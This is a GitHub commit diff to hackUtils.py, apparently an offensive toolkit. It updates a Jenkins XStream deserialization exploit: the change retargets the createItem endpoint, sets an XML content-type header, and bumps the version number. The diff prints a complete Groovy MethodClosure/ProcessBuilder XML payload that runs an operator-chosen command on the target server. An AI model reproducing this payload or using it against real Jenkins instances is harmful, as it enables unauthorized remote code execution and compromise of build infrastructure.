Skip to content

Commit 8e0d678

Browse files
committed
Update hackUtils.py
1 parent 9e3eb95 commit 8e0d678

File tree

1 file changed

+5
-3
lines changed

1 file changed

+5
-3
lines changed

hackUtils.py

Lines changed: 5 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -640,7 +640,8 @@ def checkXStreamJenkins(ip, cmdstr):
640640
job = getJobFromJenkins(result)
641641
ver = getJenkinsVersion(result)
642642
if job:
643-
job_url = url + job + "config.xml"
643+
#job_url = url + job + "config.xml"
644+
job_url = url + "createItem?name=hackUtils"
644645
exploitXStreamJenkins(job_url, cmdstr, ver)
645646
else:
646647
print '[!] no job found! url: '+url
@@ -660,7 +661,8 @@ def exploitXStreamJenkins(job_url, cmdstr, ver):
660661
payload = "<map><entry><groovy.util.Expando><expandoProperties><entry><string>hashCode</string><org.codehaus.groovy.runtime.MethodClosure><delegate class=\"groovy.util.Expando\" reference=\"../../../..\"/><owner class=\"java.lang.ProcessBuilder\"><command>"+command+"</command><redirectErrorStream>false</redirectErrorStream></owner><resolveStrategy>0</resolveStrategy><directive>0</directive><parameterTypes/><maximumNumberOfParameters>0</maximumNumberOfParameters><method>start</method></org.codehaus.groovy.runtime.MethodClosure></entry></expandoProperties></groovy.util.Expando><int>1</int></entry></map>"
661662

662663
try:
663-
res = requests.post(job_url,timeout=10,data = payload)
664+
headers = {'content-type': 'application/xml'}
665+
res = requests.post(job_url,timeout=10,data=payload,headers=headers)
664666
if res.status_code == 500:
665667
html = res.content
666668
if html:
@@ -734,7 +736,7 @@ def getJenkinsVersion(html):
734736

735737
def myhelp():
736738
print "\n+-----------------------------+"
737-
print "| hackUtils v0.0.7 |"
739+
print "| hackUtils v0.0.8 |"
738740
print "| Avfisher - avfisher.win |"
739741
print "| [email protected] |"
740742
print "+-----------------------------+\n"

0 commit comments

Comments
 (0)